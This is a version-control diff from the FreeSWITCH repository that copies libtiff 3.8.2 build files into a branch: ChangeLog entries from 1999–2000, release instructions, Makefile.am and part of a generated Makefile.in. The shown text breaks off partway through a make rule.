+	  The original work on all these 2-4GB changes was done by 
+	  Peter Smith (psmith@creo.com).
+
+	* Modified tif_win32.c to support 2-4GB seeks.
+
+	* tentatively changed toff_t to be unsigned instead of signed to
+	  facilitate support for 2-4GB files. 
+
+	* Updated a variety of files to use toff_t.  Fixed some mixups
+	  between toff_t and tsize_t.
+
+Fri Jan 28 10:13:49 2000  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Largely reimplemented contrib/addtiffo to avoid temp files, 
+	updating the TIFF file in place.  Fixed a few other bugs to.
+
+	* Set tif_rawdatasize to zero when freeing raw data buffer in
+	TIFFWriteDirectory().
+
+	* Enabled "REWRITE_HACK" in tif_write.c by default.
+
+	* Fix bug in tif_write.c when switching between reading one directory
+	and writing to another. 
+
+	* Made TIFFWriteCheck() public, and added TIFFCreateDirectory()
+
+Wed Jan  5 12:37:48 2000  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added TIFFmemory(3t) functions to libtiff.def.
+
+Tue Jan  4 13:39:00 2000  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added libtiff/libtiff.def to TIFFILES distribution list.
+
+Mon Dec 27 12:13:39 EST 1999  Mike Welles <mike@onshore.com> 
+
+	* Created lzw compression kit, as a new module (libtiff-lzw-compression-kit). 
+
+	* Altered descriptions in tools to reflect "by default" lzw not supported
+
+	* Updated index.html to note lzw compression kit. 
+	
+Tue Dec 21 14:01:51 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added fax3sm_winnt.c to distribution list in Makefile.in. 
+
+Tue Dec 21 11:04:45 EST 1999  Mike Welles <mike@onshore.com> *** 3.5.4 release ***
+	
+	* Aadded Pixar tag support.  Contributed by Phil Beffery <phil@pixar.com> 
+
+	* Made one more change to tif_dir.c for removal of LZW compression. Also added notice 
+	  when LZW compression invoked. 
+
+	* Changed default compression in tools to TIFF_PACKBITS, and changed usage descriptions
+	  in tools to reflect removal of LZW compression
+	  
+Mon Dec 20 18:39:02 EST 1999  Mike Welles  <mike@onshore.com>
+
+        * Fixed bug that caused LZW (non) compression to segfault. Added 
+	  warning about LZW compression removed being removed, and why. 
+
+	* Added nostrip to install in tools/Makefile.in so that debugging 
+	  symbols are kept. 
+	
+Tue Dec  7 12:04:47 EST 1999  Mike Welles  <mike@onshore.com>
+
+	* Added patch from Ivo Penzar <ivo.penzar@infolink-software.com>, 
+	  supporting Adobe ZIP deflate.  Untested. 
+	
+Sat Dec  4 15:47:11 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Made Packbits the default compression in tools/tiff2rgba.c instead
+	of LZW.
+
+Tue Nov 30 14:41:43 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>    *** 3.5.3. release ***
+
+	* Added tif_luv to contrib/djgpp/Makefile.lib.
+
+Tue Nov 30 14:15:32 EST 1999   Mike Welles <mike@onshore.com> 
+
+        * Added zip creation to relase makefile target 
+
+	* Added html for TIFFWriteTile.3t man page. 
+	
+Tue Nov 30 09:20:16 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added some changes to tif_write.c to support rewriting existing
+	fixed sized tiles and strips.  Code mods disabled by default, only
+	enabled if REWRITE_HACK is defined for now.
+
+Mon Nov 29 11:43:42 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added TIFFWriteTile.3t man page.
+
+Sun Nov 28 20:36:18 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added notes on use of makefile.vc in build.html, and fixed 
+	email subscription address.
+
+199-11-28  Mike Welles <mike@onshore.com> 
+
+	*  Fixed apocalypse-inducing y2k bug in contrib/ras/ras2tiff.c 
+
+	*  Did some casts cleaning up to reduce compiler warnings in tif_fax3.c,
+	   from Bruce Carmeron <cameron@petris.com> -- modifications of 
+	   changes made by Frank (sun cc still complained on cast). 
+
+	*  Added tiffconf.h to install target per request from Bill
+	   Radcliffe <billr@corbis.com>: "We need a way for ImageMagick to
+ 	   know features have been compiled into the TIFF library in order to
+	   handle things properly".  
+	
+Sat Nov 27 16:49:21 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* fixed various VC++ warnings as suggested by Gilles Vollant
+	<info@winimage.com>.  
+
+Wed Nov 24 12:08:16 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Modified TIFFquery.3t man pages info on TIFFIsByteSwapped() to
+	not imply applications are responsible for image data swapping.
+
+1999-11-22  Mike Welles <mike@onshore.com>
+	*  HTML-ized the man pages, added to html/man
+	
+	*  Removed LZW Compression to comply with Unisys patent extortion. 
+	
+1999-09-29  Mike Welles		<mike@onshore.com> 
+	*  Corrected one remaining 16 -> 32 bit value in tif_fax3.c, 
+	   From Ivo Penzar <ivo.penzar@infolink-software.com. 
+
+	*  Added patch from Ivo Penzar to have TiffAdvanceDirectory handle
+	   memory mapped files. <ivo.penzar@infolink-software.com>
+	
+1999-09-26  Mike Welles 	<mike@onshore.com>  *** 3.5.2 release ***
+	* Corrected alpha versioning.  
+
+	* Removed distinction between  alpha and release targets in Makefile.in. 
+
+	* added release.stamp target, which tags cvs tree, and updates 
+	  "RELEASE-DATE"
+
+	* added releasediff target, which diffs tree with source as of 
+	  date in "RELEASE-DATE"
+	  
+	* Ticked up version to 3.5.2 (alpha 01 -- but I think we'll moving 
+	  away from alpha/non-alpha distinctions). 
+
+	* updated html to reflect release 
+	
+1999-09-23    <warmerda@CS46980-B>
+
+	* Set O_BINARY for tif_unix.c open() ... used on cygwin for instance.
+
+	* Added CYGWIN case in configure.
+
+Fri Sep 17 00:13:51 CEST 1999  Mike Welles <mike@onshore.com> 
+
+	* Applied Francois Dagand's patch to handle fax decompression bug. 
+	  (sizes >= 65536 were failing) 
+	
+Tue Sep 14 21:31:43 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Applied "a" mode fix to tif_win32.c/TIFFOpen() as suggested 
+	  by Christopher Lawton <clawton@mathworks.com>
+
+Wed Sep  8 08:19:18 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added IRIX/gcc, and OSF/1 4.x support on behalf of 
+	  Albert Chin-A-Young <china@thewrittenword.com>
+
+	* Added TIFFReassignTagToIgnore() API on behalf of 
+	  Bruce Cameron <cameron@petris.com>.  Man page still pending.
+
+Wed Aug 25 11:39:07 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added test target in Makefile, test_pics.sh script and pics/*.rpt 
+	files to provide for a rudimentary testsuite.
+
+	* Added contrib/tags back from old distribution ... fixed up a bit.
+
+1999-08-16    <warmerda@CS46980-B>
+
+	* Added simple makefile.vc makefiles for building with MS VC++
+	on Windows NT/98/95 in console mode.  Stuff in contrib/win* make give 
+	better solutions for some users.
+
+Mon Aug 16 21:52:11 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* Added addtiffo (add overviews to a TIFF file) in contrib.  Didn't
+	put it in tools since part of it is in C++.
+
+1999-08-16  Michael L. Welles  <mike@kurtz.fake>
+
+	* Updated html/index.html with anon CVS instructions. 
+
+Mon Aug 16 13:18:41 1999  Frank Warmerdam  <warmerda@gdal.velocet.ca>
+
+	* pre-remove so link before softlink in LINUXdso action in 
+	libtiff/Makefile.in to avoid failure on LINUXdso builds other than
+	the first.
+
+	* Fixed problem with cvtcmap() in tif_getimage.c modifying the
+	colormaps owned by the TIFF handle itself when trying to fixup wrong
+	(eight bit) colormaps.  Corrected by maintaining a private copy of
+	the colormap. 
+
+	* Added TIFFReadRGBATile()/TIFFReadRGBAStrip() support in 
+	tif_getimage.c.
+
+	* CVS Repository placed at remotesensing.org.  ChangeLog added.

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/HOWTO-RELEASE

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/HOWTO-RELEASE (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/HOWTO-RELEASE) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/HOWTO-RELEASE	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/HOWTO-RELEASE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,57 @@
+HOWTO-RELEASE: 
+
+Notes on releasing. You will need appropriate autoconf, automake and libtool
+utilities to release a package.
+
+1. Commit any unsaved changes. 
+
+2. "make clean"
+
+3. Create html/vX.X.html.  Take ChangeLog entries and html-ify in there. 
+   Easist thing to do is take html/vX.(X-1).html and use it as a template.
+   Add that file to the list of EXTRA_DIST files in the html/Makefile.am.
+
+3.5. Update html/index.html to refer to this new page as the current release.
+
+4. Increment version in configure.ac.  Put 'alpha' or 'beta' after
+   the version, if applicable. 
+
+   eg.
+   3.5.7
+    or
+   3.5.8beta
+
+   Version should be updated in two places: in the second argument of the
+   AC_INIT macro and in LIBTIFF_xxx_VERSION variables.
+
+5. autoconf
+
+6. sh configure
+
+7. make release -- this will update "RELEASE-DATE" and "VERSION" in the top
+   level dir, and libtiff/tiffvers.h.  
+
+8. Please verify that the version info in RELEASE-DATE, VERSION and
+   libtiff/tiffvers.h is right.
+
+9. make; make distcheck (to test). 
+
+10. make distclean
+
+11. cvs commit
+
+12. cvs tag Release-v3-5-7 (or the appropriate name for the release)
+
+13. configure; make dist
+    Two files with names tiff-version.tar.gz and tiff-version.zip will
+    be created in the top level package directory.
+
+14. Copy to ftp.remotesensing.org ftp site. 
+    scp tiff-*.tar.gz ftp.remotesensing.org:/var/ftp/libtiff/
+    scp tiff-*.zip ftp.remotesensing.org:/var/ftp/libtiff/
+
+15. Announce to list, tiff@lists.maptools.org
+
+16. Update libtiff page on freshmeat with new version announcement.
+
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,54 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+docdir = $(LIBTIFF_DOCDIR)
+
+AUTOMAKE_OPTIONS = dist-zip foreign
+ACLOCAL_AMFLAGS = -I ./m4
+
+docfiles = \
+	COPYRIGHT \
+	ChangeLog \
+	README \
+	RELEASE-DATE \
+	TODO \
+	VERSION
+
+EXTRA_DIST = \
+	HOWTO-RELEASE \
+	Makefile.vc \
+	SConstruct \
+	autogen.sh \
+	nmake.opt
+
+dist_doc_DATA = $(docfiles)
+
+SUBDIRS = port libtiff tools contrib test man html
+
+release:
+	(rm -f RELEASE-DATE && echo $(LIBTIFF_RELEASE_DATE) > RELEASE-DATE)
+	(rm -f VERSION && echo $(LIBTIFF_VERSION) > VERSION)
+	(rm -f ./libtiff/tiffvers.h && sed 's,LIBTIFF_VERSION,$(LIBTIFF_VERSION),;s,LIBTIFF_RELEASE_DATE,$(LIBTIFF_RELEASE_DATE),' ./libtiff/tiffvers.h.in > ./libtiff/tiffvers.h)
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,724 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = .
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+DIST_COMMON = README $(am__configure_deps) $(dist_doc_DATA) \
+	$(srcdir)/Makefile.am $(srcdir)/Makefile.in \
+	$(top_srcdir)/configure ChangeLog TODO config/compile \
+	config/config.guess config/config.sub config/depcomp \
+	config/install-sh config/ltmain.sh config/missing \
+	config/mkinstalldirs
+subdir = .
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \
+ configure.lineno configure.status.lineno
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
+	html-recursive info-recursive install-data-recursive \
+	install-exec-recursive install-info-recursive \
+	install-recursive installcheck-recursive installdirs-recursive \
+	pdf-recursive ps-recursive uninstall-info-recursive \
+	uninstall-recursive
+am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
+am__vpath_adj = case $$p in \
+    $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
+    *) f=$$p;; \
+  esac;
+am__strip_dir = `echo $$p | sed -e 's|^.*/||'`;
+am__installdirs = "$(DESTDIR)$(docdir)"
+dist_docDATA_INSTALL = $(INSTALL_DATA)
+DATA = $(dist_doc_DATA)
+ETAGS = etags
+CTAGS = ctags
+DIST_SUBDIRS = $(SUBDIRS)
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+distdir = $(PACKAGE)-$(VERSION)
+top_distdir = $(distdir)
+am__remove_distdir = \
+  { test ! -d $(distdir) \
+    || { find $(distdir) -type d ! -perm -200 -exec chmod u+w {} ';' \
+         && rm -fr $(distdir); }; }
+DIST_ARCHIVES = $(distdir).tar.gz $(distdir).zip
+GZIP_ENV = --best
+distuninstallcheck_listfiles = find . -type f -print
+distcleancheck_listfiles = find . -type f -print
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+docdir = $(LIBTIFF_DOCDIR)
+AUTOMAKE_OPTIONS = dist-zip foreign
+ACLOCAL_AMFLAGS = -I ./m4
+docfiles = \
+	COPYRIGHT \
+	ChangeLog \
+	README \
+	RELEASE-DATE \
+	TODO \
+	VERSION
+
+EXTRA_DIST = \
+	HOWTO-RELEASE \
+	Makefile.vc \
+	SConstruct \
+	autogen.sh \
+	nmake.opt
+
+dist_doc_DATA = $(docfiles)
+SUBDIRS = port libtiff tools contrib test man html
+all: all-recursive
+
+.SUFFIXES:
+am--refresh:
+	@:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      echo ' cd $(srcdir) && $(AUTOMAKE) --foreign '; \
+	      cd $(srcdir) && $(AUTOMAKE) --foreign  \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    echo ' $(SHELL) ./config.status'; \
+	    $(SHELL) ./config.status;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	$(SHELL) ./config.status --recheck
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(srcdir) && $(AUTOCONF)
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS)
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+install-dist_docDATA: $(dist_doc_DATA)
+	@$(NORMAL_INSTALL)
+	test -z "$(docdir)" || $(mkdir_p) "$(DESTDIR)$(docdir)"
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
+	  f=$(am__strip_dir) \
+	  echo " $(dist_docDATA_INSTALL) '$$d$$p' '$(DESTDIR)$(docdir)/$$f'"; \
+	  $(dist_docDATA_INSTALL) "$$d$$p" "$(DESTDIR)$(docdir)/$$f"; \
+	done
+
+uninstall-dist_docDATA:
+	@$(NORMAL_UNINSTALL)
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  f=$(am__strip_dir) \
+	  echo " rm -f '$(DESTDIR)$(docdir)/$$f'"; \
+	  rm -f "$(DESTDIR)$(docdir)/$$f"; \
+	done
+
+# This directory's subdirectories are mostly independent; you can cd
+# into them and run `make' without going through this Makefile.
+# To change the values of `make' variables: instead of editing Makefiles,
+# (1) if the variable is set in `config.status', edit `config.status'
+#     (which will cause the Makefiles to be regenerated when you run `make');
+# (2) otherwise, pass the desired values on the `make' command line.
+$(RECURSIVE_TARGETS):
+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	target=`echo $@ | sed s/-recursive//`; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    dot_seen=yes; \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done; \
+	if test "$$dot_seen" = "no"; then \
+	  $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \
+	fi; test -z "$$fail"
+
+mostlyclean-recursive clean-recursive distclean-recursive \
+maintainer-clean-recursive:
+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	case "$@" in \
+	  distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \
+	  *) list='$(SUBDIRS)' ;; \
+	esac; \
+	rev=''; for subdir in $$list; do \
+	  if test "$$subdir" = "."; then :; else \
+	    rev="$$subdir $$rev"; \
+	  fi; \
+	done; \
+	rev="$$rev ."; \
+	target=`echo $@ | sed s/-recursive//`; \
+	for subdir in $$rev; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done && test -z "$$fail"
+tags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
+	done
+ctags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \
+	done
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
